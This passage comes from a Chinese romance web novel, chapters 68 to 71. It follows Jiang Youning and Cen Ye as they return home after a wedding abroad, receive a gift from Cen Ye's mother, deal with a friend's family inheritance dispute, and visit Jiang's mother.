岑曳睨她一眼,看她气鼓鼓的样子就知道她心裏憋着坏呢。 姜又柠的杯子早都被换成了果汁,岑曳拉着她的手,要是有人问起姜又柠来,她就大大方方地承认这是她的女朋友。 “谈了多久?”岑曳重复着对方的问题,又看向姜又柠,“谈了多久了?” 姜又柠抿抿唇,洪亮地说,“六年多了!从我十八岁开始到现在!” 岑曳显然很满意这个答案,拉住她的手握得更紧了。 或许是被女人的笑容鼓励到了,也或者酒精壮了姜又柠的胆子。 她背挺得很直,也不惧怕别人的目光了,还能跟看向她的人主动打招呼。 “你做得很好。”岑曳在她耳边夸赞,不动声色地吻了下她的脸颊。 婚礼持续了很久的时间,司机在门口等着。 “还不打算回家住?”岑千兰拦住即将离开的两个人。 姜又柠偷偷看了岑曳一眼,示意她快些解释。 “明天下午的飞机,踏踏实实睡一觉就得回去了。” “回来半个月了,就没跟我好好说过几句话。”岑千兰嘆口气,摆摆手示意她们离开。 “岑,岑阿姨……”姜又柠紧张地攥紧女人的衣服,“之后我跟岑曳有时间,再一起来看你。” 岑千兰看向她的眸光深邃了很多,最终还是什么都没说,只浅淡地笑了下就再次走回了大厅裏。 坐上车子之后,姜又柠还是很紧张。 刚才的话她没跟岑曳商量过,此刻不知道岑曳怎么想,便主动问,“我刚刚说的话,合适吗?” “为什么这么说?”没有质问的语气,倒是在真的认真问她。 “就是,岑阿姨总是一个人在国外,挺……挺可怜的……”姜又柠不知道自己怎么会得出这样的结论。 ‘可怜’这个词语跟岑千兰实在太不搭了。 “你要是当着她的面这么说,她肯定会生气的。” “我当然不敢!你也就当没听见,我确实不该这么随便评价的……” 姜又柠回想起刚才岑千兰的面容,她独自在国外的时候,一定也很想自己的女儿吧? 她每星期都会去看姜鸿英的,频繁的时候一周好几次。 姜鸿英总是很高兴,那些阿姨们也很羡慕,哪怕她有时候去得急,两手空空什么都没买。 “以后你多回来看看岑阿姨吧。” “嗯。”岑曳阖了眼休息,“你跟我一起回来。” 司机开得很稳,一路上姜又柠都躺在了女人的怀裏,两个人贴得很紧,休息了一路。 酒精散得太慢,岑曳强撑着打起精神把睡得晕晕乎乎的姜又柠抱回家裏,洗了几/把冷水脸之后就打算洗澡。 这晚,两个人什么都没做,只是面对面相拥着,视线紧紧锁定着对方。 “你在国外的时候,住的是哪个家啊?” “也是这裏。”岑曳说,“但还是睡公司的次数更多。” “那肯定很辛苦的……”姜又柠抱紧了她。 岑曳温热的掌心轻抚她的后背,没有接上这个话,“睡吧,明天我们就该回家了。” 姜又柠点点头,脑袋埋进了她的怀裏。 在国外这个偌大又空荡荡的家裏,她独自度过的每一个晚上,都在想着抱她入睡。 幸好,这个愿望被实现了。 第69章 登上回国的飞机之后, 姜又柠睡不着。 时间过得太快了,恍惚一下就过去了一个星期。 她的情绪还兴奋着,一闭眼就是婚礼的场面, 还有岑曳跟自己一起出门逛街的场面,眼睛酸得睁不开,但脑子裏的每一根神经都在亢奋着。 岑曳递给她一个精致的红色盒子, 示意她打开看。 “这是什么?给我的礼物吗?”姜又柠接过,意外道, “这么重啊!还有一张贺卡, 送给活泼灵动的柠柠……?” 不像是岑曳的口吻, 倒像是…… 岑千兰的。 “岑阿姨送我的?”姜又柠小心翼翼地问, 语气都变得轻了很多。 女人点了点头,“昨天江阿姨不是送给你一个镯子吗?” “我没收呀,我听见岑阿姨咳嗽了,我觉得她肯定在暗示我拒绝。不过岑阿姨就算不暗示我, 我肯定也不能收的。”姜又柠打开盒子, 发现裏面也是一个金镯子。 她眼睛亮了亮,“真的是给我的?” 这么贵重的礼物她不知道自己收下来合不合适,可毕竟是岑千兰送的,她如果拒绝的话好像也说不过去。 “喜欢吗?”岑曳观察着她的表情,“她怕你觉得老气, 也怕你不乐意收。” “很漂亮呀!这得值多少钱呀!”姜又柠拿起来咬了一口, 被硌得脸蛋扭曲了下。 女人被她笨拙的动作逗笑, “没多少钱,你喜欢就行。” 姜又柠将镯子放回盒子裏,“岑阿姨现在是不是不管我们谈恋爱了呀?” “她一直都不在乎这些。”岑曳解释道,“她只是希望我能去总部接她的班。” 岑千兰事业心很强, 只要不走歪道,结果是她想要的就行。 从小岑曳被束缚的一直是在学习和成绩这方面,社交这部分在她懂得跟人打交道之后就很少掌控了。 但在过分的规划之下,岑曳也没有多少时间去交友就是了,也算一种变相地掌控社交。 “那现在呢?” “现在总部对国内市场很重视,所以我在国内发展也不错。” 姜又柠将盒子放在胸口的位置,“人年纪大了都会变孤独的,她也可以回国内住嘛。” “我会跟她沟通这些的,但估计得是很多年之后了。”岑曳笑了笑,“她现在还是挺热爱自己的工作的。” 姜又柠美滋滋地乐,“那我就真的收下啦?你帮我谢谢岑阿姨!” “你不是有她的微信吗?” “但从来没有聊过天嘛……”姜又柠别扭道,“你帮我呀!” 她跟岑千兰有微信也是因为小时候自己刚刚有手机的时候,创建了一个微信特别高兴,到处找人加好友。 岑千兰正巧在客厅坐着,也凑了个热闹。 但毕竟要以学业为重,姜又柠的手机被姜鸿英严格管控,也没机会玩儿。 “你之后跟她发消息的情况还多着,总得找个合适的借口打破这个第一次。”岑曳认真思考,“现在不是一个很好的机会吗?” “你说得对。”姜又柠点开手机笔记,“那我先编辑一下怎么说,等我下飞机了就给岑阿姨发消息。” 她心跳跳得很快,岑千兰气场很强大,她从小都怕,现在长辈主动服软,她还真有些手足无措。 “把镯子戴上吧。”岑曳开了口。 “我怕磕到哪裏了,那一千块不就没了?”姜又柠把镯子拿出来,“但我先试戴一下,回头给岑阿姨发消息的时候,把照片也给她发过去!” “嗯,她会很高兴的。”岑曳闭上眼睛,完成了岑千兰跟她安排的任务,此刻也放了心。 早上岑千兰上班前一大早又来了家裏,她以为又要聊些什么严肃的事情,趁着姜又柠还在熟睡,便在客厅独自跟岑千兰沟通,还要她把声音放低一些,别把姜又柠吵醒了。 看到岑千兰拿出镯子的时候,她愣住了,不知道该说些什么,也不知道该不该露出些笑容来。 “前几天我就该安排的,婚礼上还被你江阿姨抢了先,这样看来显得我做事很不周到。”岑千兰抿唇,“偏偏送金子最有诚意,时间也紧急,我也找不出第二个合适的礼物来。你帮我送给柠柠,也算当年我没能弥补给她们母女什么。” “当时你劝了她跟我一起出国吗?” “劝了,但她不乐意。”岑千兰不仅说了她跟姜又柠私下见面的事情,还说了第二天姜鸿英下跪求情的状况。 听完岑曳沉默了好久,终于理解了刚回国时姜又柠的那些踌躇和犹豫。 “柠柠是个好孩子,没有被污染,纯真、善良。” 岑千兰陷入年轻时的回忆裏,“我刚到总部的时候,也遇到一个跟她很像的女孩子,总是带着笑,没什么敌意,傻乎乎的。那个时候我二十出头,没钱没地位,住着十平米的单间,为了省钱,从来不吃早餐,她总是帮我买早餐,一杯豆浆一个鸡蛋还有两个包子,要我养好身体。” “后来总部出了一次很严重的财务危机,她被公司的人骗了,被当成替罪羊送进了监狱,判了二十年,出狱之后我跟她见过一次,她还是冲着我笑,但我看出来她的状态很差,我向她伸出援手,跟她说我什么都能帮她,只要我有的。那天是早上见的面,她说,她想我帮她买一次早餐,我买了一杯豆浆一个鸡蛋还有两个包子,她说很好吃,还说我是唯一一个还愿意在这个时候联系她的朋友。下午她就跳江自/杀了。” “我还路过那条江了,我急着去给她办理房子过户,我想帮她,想让她过得好一点。我着急啊,岑曳,我急。开车路过的时候,我还嫌那儿堵了一堆人,我骂这群凑热闹的人挡我的路。其实是她在拦我吧,想让我停车再去看她最后一眼,但我没能明白……” 岑曳认真听着,眉头蹙得很深。 她也从来没有听过岑千兰讲这些,小时候听这些听不懂,有自我意识之后就在被约束,母女有了矛盾之后就更不可能去聊这些事情了。 岑千兰不动声色地擦了下自己的眼睛,“我说这些也没别的意思,就是想说,柠柠这孩子善良,单纯,但人就怕只有善良和单纯。” 岑曳淡淡点头,“我会保护好她的。” 岑千兰看她许久,终于说着,“……其实,妈妈从小到大一直都很为你骄傲的。” “镯子我会送给柠柠的,你放心。”岑曳没有接过这个话题,只朝她露出了个浅淡的笑容。 “那你再去睡会儿吧。”岑千兰转身就准备离开,“回国也记得养好身体,在总部这几年,你也吃了不少苦。” …… 姜又柠编辑好笔记裏想要发送的话,正打算继续跟岑曳说话的的时候,就看见女人闭眼休息了。 她皱着眉头,看起来睡得不算安稳。 姜又柠将她的眉毛抚平,认真观察着她的五官,距离近在咫尺,甚至能够看到她脸上细小的绒毛。 平常岑曳一点细微的动静就会被吵醒,这会儿表情逐渐放松,但没有任何要醒来的迹象。 “姐姐,你在国外辛苦了……”姜又柠凑近她的耳朵,轻轻地说了一句。 打算也去睡觉的时候,她便看见熟睡的女人嘴角轻轻往上扬了扬。 “看来是梦到我啦!”姜又柠甜蜜地闭上了眼睛- 下了飞机之后,姜又柠让岑曳检查了下自己的笔记内容,确认没什么问题之后就主动把消息给岑千兰发过去了。 那边也很忙,到家之后才收到了回复。 只是一句简简单单的【你喜欢就好】,后面还跟了一个爱心。 姜又柠很开心,“我就说岑阿姨人很好嘛!” “不是你怕她的时候了?”岑曳睨她一眼,把行李箱裏面的衣服拿出来全部丢进洗衣机裏,又将棉袄分类好,打算送去干洗店。 “熟悉了之后才知道岑阿姨人很好嘛,她看着是不太好接近的。”姜又柠说,“要我帮你吗?” “你歇着去吧,我可不用你帮倒忙。” “我明明很厉害!”姜又柠跺了下脚,“算了,你爱干活你就干呗!” 她从冰箱裏拿了瓶可乐,舒舒服服地躺在了沙发上,晃着脚看电视。 金镯子被她重新戴在了手上,在灯光的照耀下,更显得绚丽好看。 “岑阿姨送的哦……”姜又柠忍不住亲了亲镯子,冲着岑曳炫耀,“你有吗?你应该也有吧?” 看见女人无奈的眼神,她佯装恍然大悟,“你居然没有啊!岑阿姨不是你的妈妈吗!哼哼……” 没多久,姜又柠又从门口拎了外卖进来,高高兴兴地吃着。 岑曳来来回回地在她面前路过忙碌着,又开始打扫家裏。 将近半个月她不在家,肉眼可见的地方似乎处处都布满了灰尘。 看见姜又柠舒舒服服看着电视,还喝着冰镇可乐,撑着拖把无奈地嘆气。 姜又柠绝大多数注意力始终放在女人身上,自然敏锐地捕捉到了这个声音。 她光着脚走过来,岑曳看她踩出来的湿脚印刚准备开口,就被她亲了下嘴巴。 “姐姐,你真厉害。”姜又柠抱着她,脑袋在她胸前乱蹭,像小狗在狂甩着自己的脑袋,“我怎么这么喜欢你呀!” “我身上脏。”女人想摸摸她的发顶,想到自己手上的细菌还是作罢了。 “不脏呀不脏呀!”姜又柠耸着鼻子嗅了嗅,抱她抱得更紧,“我闻着可香了!” 一分钟之后,岑曳才忍耐着嘴角的笑意推开她,“行了行了,老实去歇着。” 姜又柠见她笑意颇深,才再次跳回了沙发坐着。 哎呀,这个女人还是很好哄的嘛! 第70章 一星期没上班, 回来之后整个部门明显都忙了起来。 早上开会的时候,岑曳预热了好几个项目,部门裏的人都格外紧张和期待。 之前的项目规模不大, 但走得很顺利,听岑曳说总部对部门期望很高,所以每个人都捏着一把劲打算好好干。 元旦前, 姜又柠必须得把之前没能做完的工作处理完了,不然就会影响整个组的进度。 最近的工作几乎都是收尾, 所以部门氛围也不算紧张。 姜又柠登录着微信, 下午的时候发现江诗文给她发了几条消息。 【江诗文:柠柠!我把度蜜月的地点定到国内了!我们很快就要见面啦!】 【姜又柠:你们还有度蜜月的时间啊?】 怎么还跟真结婚了一样? 按照之前江诗文说的, 婚礼之后不是都会留在总部工作了吗? 【江诗文:本来是没有的, 但庄玟那边突然出了点儿意外,反正我也不想上班,那正好回国玩儿呀!】 姜又柠发过去一个期待的猫猫表情包,那边很快就甩过来两张机票, 航班在下周。 行动真快, 姜又柠低声呢喃一句,开始认真工作。 下班坐岑曳车子回家的时候跟她说了这件事,岑曳有些意外。 “已经确定了?” “对啊,机票都买好了。”姜又柠给她看了截图,“我们跟总部的对接不是庄玟负责了吗?我还以为她回总部之后还会负责这些工作呢。” “没有, 跟我们对接的是我前两星期去总部经常见的人, 不是庄玟。”女人的手指敲了敲方向盘, 表情多了些凝重。 “没发生什么事儿吧?”姜又柠看她一眼,“怎么感觉不太对劲的样子?” “我也不太清楚。” 姜又柠又给江诗文发了几条消息过去,那边回复速度明显很快,看来的确是无所事事。 晚餐是在家裏吃的, 是简单的两份盖浇饭。 岑曳手裏事情多,又两星期没上班,但想着跟姜又柠一起下班,所以把剩余的工作都放在家裏做了。 她抿了口热水,开了电话,看邮件的时候顺便给庄玟打了个电话过去。 ——“不忙吗你?” “接得还挺快的。”岑曳欲言又止,“……你那边,没有商量的余地了?” ——“当初说好两个长辈谈股权分配的事情,我现在反悔有什么用?” “那你家裏的公司也……” ——“小妹不深造了,还有半年毕业,婚礼前就已经去公司实习了。”庄玟没由来地笑了下,“比我刚工作的时候,有能耐多了。” “那你现在什么打算?在总部继续工作?” ——“什么都没留给我,我在总部做什么?”庄玟烦躁得很,“算了,走一步看一步吧。” 姜又柠本来在看电视,但岑曳刚开始打电话的时候就竖起了耳朵认真听。 这会儿听女人语气不太对,小跑着过去,装作给她按摩好听得更仔细。 ——“反正是给家裏人,我没什么好说的。”庄玟的情绪罕见地低迷,“你先忙你的,手上现在有很多项目吧?” “你乐意的话,可以回来继续做对接工作,我可以帮你向总部申请。” ——“不乐意,挂了。” 姜又柠坐在她对面,也跟着忧心忡忡,“发生什么事情了?” 岑曳嘆口气,“股权分配结果下来了,没给庄玟留,全在她妈妈一个人身上。” “什么意思啊?那她现在要回家裏的公司吗?” “家裏的公司留给她妹妹了,法人都变了。” 姜又柠紧急消化着这些信息,“所以现在是庄玟努力为自家公司奋斗了这么久,最后都是在给别人忙活,自己什么都没能捞到?” 岑曳沉默了几秒钟,点了点头。 姜又柠摆弄着自己的手指,“她那么热爱工作的人,现在肯定很伤心吧?” 怪不得江诗文能抽出时间度蜜月了,原来庄玟手上什么工作都没了。 “现在怎么办?” “怎么办?”岑曳反问她,“这是别人的家事,不是我们该管的。” 姜又柠惊讶地张大嘴巴,随后又闭上了。 确实,她们只能当一个旁观者,感情掺和一下是小事,涉及到利益的东西最好还是不要趟浑水。 江诗文又发来消息,要她帮人找家政把家裏打扫一下,冰箱裏还放着蔬菜,快一个月了应该都不能吃了。 “诗文回来还在原来那套房子住呢。”姜又柠说,“庄玟跟她应该也一起。” “嗯。”岑曳说,“等她回来你照常跟她聚,但刚刚的事情你只当不知道。” “我都明白的!”姜又柠起身去了厨房,“我去洗一碗圣女果吃!” 她很快坐下,将一颗圣女果塞进了女人的嘴裏。 岑曳张唇,舌尖有意无意刮过了她的指尖,姜又柠瑟缩了下,将手收了回去。 “我们是不是很久没做了?” 酸酸甜甜的汁液在口腔内炸开,姜又柠差点被呛到。 她咳嗽了几下,“在国外的时候,车上!还有家裏!” 女人思索了下,“那也得有几天了。” “等你忙完再说。”姜又柠转身抱着碗重新回到了沙发上坐着- 婚礼后,江诗文跟庄玟一起搬到了一栋别墅。 庄玟每天早出晚归的,直到发生了分配不均这檔子事儿。 女人似乎不太能习惯无所事事的感觉,在家裏看着最新的杂志和新闻,坐久了就站起来在客厅裏来回踱步。 江诗文往脸上试着从婚礼化妆师那儿学来的日常妆容,在自己脸上一遍遍练手。 “我之前就问过你,努力工作是为了什么?”江诗文嘴角露出得意的笑,“你还记得当时你是怎么回答我的吗?” ‘我给自家公司工作而已,你能给家裏人带来什么回报吗?’ 庄玟记性好得很,但懒得搭理此刻江诗文的冷嘲热讽。 “你给家裏带来的回报太多啦,简直是无私奉献,有大爱!”江诗文自拍了几张,给姜又柠发过去询问她的意见。 庄玟瞧她几眼,“看我吃瘪心情很好?” “对啊。”江诗文毫无顾忌地承认了,“我俩现在相比,我过得比你快乐多了吧?没几天就要回国内了,幸福的日子在向我招手呢。” 庄玟现在烦躁得很,没精力跟她过嘴皮子功夫,回卧室关了门。 “哎?说几句又不高兴了!”话还没讲完,江诗文去拍了她的门,发现门反锁了之后就去拿了钥匙开门。 庄玟半躺在床上闭着眼睛,面容沉重。 “我回国内,你要跟我一起吗?” “我就算没工作也不会把时间浪费在玩这种事情上。” “可你现在更浪费时间吧?”江诗文走过去戳戳她的胳膊,“我带你回国内玩儿嘛,我订了两张机票,部门现在项目多,柠柠很忙的,回去之后她也没多少时间跟我聚。” “我不当工具人。” “我给你钱啊!”江诗文说,“要不要来我这裏应聘工作啊?庄负责人?我给你开很多很多的工资哟!” 庄玟半睁开眼睨她,上下打量几眼,冷笑一声又闭上了。 “钱有什么用。”庄玟说,“有钱人可能是老板,可能是暴发户,也有可能是被宠坏了的千金大小姐。” “你内涵谁呢?”江诗文抬起腿碰了碰她,拽着她的手要她起来,“不行不行!我票都买好了你得陪我去!” 庄玟挣脱了她的手,皱了皱眉头。 江诗文知道她心情不好,半蹲下来说,“说不定是天意呢,老天特意给你空出来时间让你陪我。” “不是要在国内自己玩儿吗?有钱就自己去找喜欢的女人,陪你吃陪你喝,还能有精力逗你开心。” “你也能呀!”江诗文仔细看着她的手,“庄玟,你的手长得真的很好看!又白,又修长……” 庄玟试图再次收回手,却被握得很紧。 “我没那个心情陪你。”庄玟睁开眼睛,眉眼中多了几丝认真,“跟我待在一起你不会是高兴的,婚礼也办完了,你是自由人,我不会在意你之后的感情,随便你去做。” 江诗文对上她的眼睛,捕捉到了她语气中的无奈,以及隐隐约约的伤心。 她沉默了好久,又重新露出笑容,“我怎么能出/轨呢!这太大逆不道了!” 江诗文依旧试图跟她闹着,她不知道庄玟会不会像最开始那样,很快不耐烦到对她发脾气。 她跟庄玟相处也算久了,知道这个女人并不是无法辨明是非的人,只是有了自我追求之后,就没精力再去理会别的。 庄玟在工作上教给她很多东西,难得的周末,她教庄玟迭千纸鹤,也能看见她罕见的真心的笑容。 那跟平常一丝不茍的女人很不一样,很绚烂、很迷人。 “江诗文。”庄玟看向被握住的手,冷脸道,“松手。” 江诗文放开了她的手,倏地被她刺痛,“……你这个人怎么软硬不吃啊?看不出来我在哄你高兴吗?” 她也没想到庄阿姨做事那么绝,为自家公司尽心尽力这么多年的大女儿,利用完就放弃了。 她瞧庄玟可怜,要是一般人,她才不会管呢。 “我不需要任何人给我提供情绪价值,我的负面情绪我自己会消解。”庄玟说,“我不用你帮我,这不是你该做的。” “我不该做吗?我现在是你名义上的妻子。” “我们之前说好了,办完婚礼就各做各的事情。”庄玟耐下心来,“你不用在我身上费心。” “我很让你讨厌吗?你是不是觉得我很聒噪?” 庄玟看见她渐渐红了的眼眶,“我现在没办法回报给你任何东西,你帮我缓解情绪只是你单方面的付出。” 她擅长的就只有工作,而现在,她什么都没了,江诗文也不需要工作。 她不喜欢单方面的给予或被给予,这对任何一个人来说,都不公平。 “我不需要回报,你做事难道总想着回报吗?” “如果项目的利益无法预判,我为什么要接下这个项目?” “你把我跟你在一起相处也当成项目吗!” 真是木头脑袋,把感情也当成冷冰冰的工作,这么久了她甚至都没能感化一点点不擅长感情的庄玟。 “我们结婚本来就是为了利益分配。”庄玟说,“项目结束了,你做得很好,现在你该去做你自己想做的事情了。” “可我想你回国陪我……”江诗文擦掉自己的眼泪,这个女人还是没有学会主动给她擦眼泪,依旧冷冰冰地跟她讲道理。 这些大道理听着真让人心烦。 庄玟看着她,想不明白她这样做的理由。 跟自己不喜欢的人待在一起,会是快乐的吗? 一个人的想法怎么会变得如此之快? 她嘆了口气,“什么时候?” “说了是下周!说了多少遍了你到底有没有人认真听我讲话啊!”江诗文气死了。 庄玟这个死木头脑袋,她不就是想让她高兴点别为了家裏的那檔子事情不开心吗? 最后还把她自己弄得难过死了,眼泪一流就收不了,庄玟还跟个没事人一样。 庄玟伸出手帮她擦了擦眼泪,轻声道了句,“别哭了。” 江诗文怔愣看她,哽咽的声音倏地顿住,“那你以后不准再像刚才那样跟我说话了。” “什么?”庄玟回想着自己刚才说了什么不对的地方,但没能想到。 “难过的时候不要讲道理,要先把情绪安抚好,你再跟我讲道理,不然我不会听的!” 江诗文认真教她怎么哄自己,这个女人真的是感情白痴啊。 什么情感在她那儿都跟不存在一样,满脑子都是工作。 明明工作能力那么强,可关于情感的东西却学得好慢好慢。 “好。”庄玟点点头,将她耳边的碎发抚至耳后,随后轻轻捏了下她的耳朵。 一股电流猛地从耳朵处窜开,江诗文抓住女人的手,眼睛中的情绪突然别扭了很多。 “又是从哪裏学的……”江诗文扒掉她的手,舔了舔自己的唇。 “学什么?” “什么都没有!”江诗文起身快步回了自己的卧室。 庄玟目送着她的身影消失,久久才收回了视线。 她拉开床头桌的抽屉,裏面还放着那只大红色的千纸鹤,旁边是一个星星瓶子和一大摞正方形迭纸。 女人抽出一张纸,回忆着步骤迭了第二个千纸鹤。 她一手捏住头,一手捏住尾巴,这次千纸鹤轻而易举地摆着飞翔的动作。 庄玟把玩了很久,心裏的情绪有些复杂。 明明迭的是千纸鹤,但脑海裏浮现的却一直是江诗文那张脸。 真奇怪呢,她居然也想不明白这是怎么一回事。《 》 70-75 第71章 这周五的时候, 姜又柠联系了姜鸿英,要她那边推荐一个家政阿姨过来打扫一下江诗文的房子。 姜鸿英给她发过来一个链接要她填写。 【姜又柠:要填单子吗?我还以为能私下走帐呢。】 【姜鸿英:现在公司查得严,前几天才开除了一个私下收钱的。】 姜鸿英又讲了她认识的哪个阿姨周末有空, 要她直接在单子裏面申请就好。 姜又柠确认好订单,想着也好久没见她了,便打算这周末去宿舍看看她。 跟岑曳说了之后, 女人便道,“要不要我跟你一起去?” 上次姜鸿英说愿意来家裏做饭, 这次正好有个机会, 姜又柠抿抿唇, “我跟我妈说一声, 我们把她接到家裏来吧。” “我们慢慢来。”女人扬了扬唇,摸摸她的头,牵过她的手跟她一起朝着地下车库走,“先一起在外面吃顿饭。” 姜又柠想了想, 也觉得她的话说得对。 哪有许久没见之后, 就让长辈来家裏做饭吃的,这太不礼貌了。 姜又柠露出自己的手腕,“我把岑阿姨送我的镯子戴上了。” “很适合你。” 姜又柠甜蜜地笑,“可是我还没跟我妈妈说,咱俩在一起住。” 姜鸿英现在肯定认为她跟岑曳还在暧昧阶段吧? 可她自己也很意外, 刚跟岑曳重逢没多久, 两个人就稀裏糊涂地合租到一起了。 “岑曳, 你说怎么就这么巧,我们刚开始能成为合租室友。”姜又柠想不明白,“诗文也说了啊,你不是打算独居吗?而且你自己那么早都买好房子了。” “巧合而已。” “我不信。” 按照这个女人的性格, 万一提前调查了她现在的信息怎么办? “买房子也没想着自己住,只想跟你在一起之后一起搬进去。”岑曳如实回答,“我是打算租房的,那段时间大数据把附近的租房帖子推给了我,我看见客厅置物架上那只狐貍玩偶。” “戴着红围巾的那条?”看见女人点头,姜又柠哼了一声,“那还是我的问题了。” 岑曳笑出声来,“就算没跟你合租我也会抓到你的。” “你就不怕我见到你之后,第二天立马辞职?” “你可以试试。” 岑曳侧眸扫她一眼,姜又柠莫名被这个眼神盯得视线发毛。 “你说的怪吓人的……” 女人睨她,乐了,“你这是什么表情?” “害怕你的表情。” 岑曳勾勾唇,“你在床上露出这种表情我或许会更高兴一些。” 下了车之后,岑曳两手拎着补品跟着姜又柠一起朝着宿舍的方向走。 她莫名有些紧张,上次在小区跟姜鸿英的见面过于意外,这是算是正式见面,她难得露出些手足无措。 “别担心嘛,你知道的,我妈妈一直都很喜欢你。”她挽过女人的胳膊,跟她一起去了集体宿舍。 意料之外的是,颜歆也在,她仍然在跟姜鸿英讨教编织的知识,两个人此刻聊得正欢。 “姜阿姨。”岑曳将补品放下,看了颜歆一眼,“好久没见到您了。” 两个人手牵手,没有一个人有打算松开的意思。 颜歆手裏拿着毛衣针,悠悠看向两个人十指紧扣的双手。 “坐吧,等我忙完手头上这点事情。”姜鸿英摆摆手,继续跟颜歆说着话。 岑曳嘴角的笑容依旧很深,拿了唯一的椅子让姜又柠坐下了,自己便在一边站着认真看姜鸿英编织。 “诗文的婚礼结束了?”姜鸿英主动提起话题来。 “上周三的婚礼,周四我们就回来了。” 姜鸿英捕捉到她话裏的‘我们’二字,立即看向了姜又柠。 “我,我也去了……”姜又柠有点心虚,她没跟姜鸿英说过这件事情,“我俩一起去,一起回来的,她带着我走,我什么都不用考虑。” 她没出过国,更不敢说自己一个人出发的,不然姜鸿英要生她的气。 “国外人生地不熟的,你跟着去也不怕遇到危险。” “柠柠很乖,我一直陪在她身边。”岑曳的手搭在姜又柠的肩膀上示以安抚,“您放心,我会像小时候一样保护她的。” 颜歆侧了下头,“姜阿姨,这块儿我还是不太清楚。” 姜鸿英的注意力被吸引走,声音放轻,“方向反了,你跟着我学。” 岑曳淡淡收回视线,不再开口。 手背被姜又柠握住,她抬眸看向自己,表情有些难办。 女人冲她微微摇头,眼神示意她耐心等待就好,什么多余的动作都不要有。 “妈,什么时候吃午饭,我都饿了……”姜又柠还是没忍住开了口。 姜鸿英嘆口气,“就属你最心急。” 她收了毛线,转身问颜歆,“歆歆要不要跟我们一起去吃饭?” “不用了阿姨,我妈估计也快做完饭回来了。” 三个人徐徐走向外面,姜又柠不太乐意,“妈,你平常教教也就算了,我跟岑曳都在等你呢,你还坐在那裏织围巾……” “大周末的你就过来唠叨我啊。” “姜阿姨,柠柠是怕我等着急,您别生气。” 姜鸿英嘆口气,“从小你就给她揽责任,揽了多少次了,长大还这样。” “小孩子都这样,柠柠什么性格您还不知道嘛。”岑曳给她拉开后排的门,又回头看了眼姜又柠,示意她上车。 姜又柠没懂,“干嘛?我要坐副驾驶。” 女人的手不动声色地在她后腰推了下,姜又柠虽然不情愿,但还是坐上了后排。 岑曳开了车子,“我们还去那家清淡的餐馆,听柠柠说,您很喜欢这家。” “老在外面吃饭多费钱啊,不如买些菜我们回家做。”姜鸿英口头上这样说着,可还是很高兴,“就是得打扰你了。” “不打扰,下次我帮您打下手,我向您多请教几道柠柠爱吃的菜。” 岑曳熟练地开着车,姜又柠见姜鸿英很高兴也就没再问出疑问了。 又是敬称‘您’,又是独自坐在前排当司机。 她跟姜鸿英又不是刚认识,用得着这么客气吗? “妈,肯定不打扰的,家裏你都来过了呀。”姜又柠笑眯眯的,“反正这两天你都有空,你到家裏来嘛。” 姜又柠还想说她可以住自己的房间,到时候她跟岑曳住一间。 但话都到了嘴边还是咽了回去。 “你们两个现在在一块儿住?”姜鸿英瞪了眼姜又柠,“还是那个小区?” “对啊……” “是合租的套二。”等待红绿灯的空隙,岑曳主动解释,顺便往后看了眼姜又柠。 姜又柠立即闭了嘴,等着女人继续说。 “A市发展太快,我都有点陌生,我在国内的朋友不多,刚到国内的时候租房子也是个难题,还好有柠柠帮我,不谈别的,我们性格也合,所以就暂时合租了。”岑曳说,“这事儿我得谢她。” 明明在一本正经地撒谎,但好像还真有这么一回事儿似的,弄得姜又柠不好意思地挠挠头。 “那确实你得谢我嘛。”姜又柠安静不下来,终于抽空塞进去一句话。 “之前我怕您不高兴,所以我才让柠柠瞒着您的,希望您现在也不要生气。”岑曳说,“柠柠主见不多,所以都是我的主意。” 姜鸿英欲言又止,最后还是什么话都没说。 岑曳护着姜又柠的意思很明显,她怎么可能看不出来? 小时候姜又柠通过岑曳耍成功了多少把戏,又是吃零食,又是住岑家不舍得走,要不是岑曳松口,她怎么敢呢? 不过得知现在的岑曳依旧跟过去一样,肯爱惜呵护姜又柠,那她也没什么好说的。 “你妈妈在国外还好吧?”姜鸿英旁敲侧击地问。 她倒是不再插手这俩孩子的感情,可岑千兰呢? 这个女人性格强硬,较起真来不好说。 “挺好的,她也跟我说了,让我帮她向您带问个好,让您多注意身体。” 姜又柠舔了下唇,打算继续听岑曳说,下一秒就发现女人的眼神落在了她的手腕上。 她立即意会,捋起自己的袖子给姜鸿英看,“妈妈你看,这是我去国外的时候,岑阿姨送我的金镯子!漂亮吗?” “这么贵重的东西你怎么能收呢!”姜鸿英的表情慌张了下,戳了下姜又柠的额头,“你这孩子怎么这么贪心!” “我……”姜又柠支支吾吾的,又假装被呛到,咳嗽了几下。 岑曳接过话茬,“柠柠不要,但我妈硬要塞给她,说柠柠也是她从小看到大的,她一直没有机会送柠柠什么礼物。过去的事情她不想纠结对错,说人的缘分很浅,有时候分别之后再见就难了。她看到柠柠跟我一起去国外参加婚礼,眼睛都红了。” 过去的事情不想纠结对错。 姜鸿英在心裏想着这句话,手缓缓地拍着姜又柠的手背,眸光深邃了很多。 “她年纪也大了,我劝她不要再在工作上花费太多精力,有时间就去旅旅游看看世界。”岑曳说,“她说,她有时间的话就回国见见老朋友,尝尝老朋友做的菜。” 如果说,回国见老朋友只是暗示的话,那最后那句话完全就是明示了。 姜鸿英嘆了口气,眼前飘过了很多过去的事情。 如果不是两个孩子谈恋爱,那岑千兰一定会跟她之后遇到的几个好雇主一样,偶尔给她发来些问候消息,再给她送些昂贵的补品和吃食。 那天她在客厅,闻言姜又柠跟岑曳谈了恋爱,吓得脑子发白。 她知道岑千兰最看重自己的女儿岑曳,但她同样也最看重自己的女儿姜又柠。 所以她什么都不想,只想要岑千兰原谅她们,不要做出什么影响到姜又柠未来的举动。 后来姜又柠跟她讲过,岑千兰只是想说,因为恋爱这件事情导致雇佣合同提前结束,她作为违约的一方,应该给予补偿。 孩子之间的事情由孩子自己处理就好,不该影响到别的。 但误会会导致分别,分别会导致误会无法消除,这件事情也是姜鸿英心中的一道疙瘩。 此刻听到岑曳的话,她也释怀了很多。 三个人在餐馆坐下,姜又柠帮忙捧着菜单要姜鸿英点。 “还吃上次的吧。” “妈,你都不说尝点新的菜。”姜又柠拿过菜单自己看,“那我自己来点。” 岑曳打量着店内的装潢。 这家店在二楼,游客不多,都是本地人,环境清幽,确实是个好地方。 就是来吃饭的客人太多了,有些吵闹。 但吃饭时候的吵闹,只能算热闹。 饭菜送上来之后,几个人吃得很安静。 岑曳偶尔给姜又柠递过来纸巾,或者看她两手都忙,直接帮她擦嘴。 姜鸿英把两个人亲密的动作都看在眼裏,渐渐放了心。 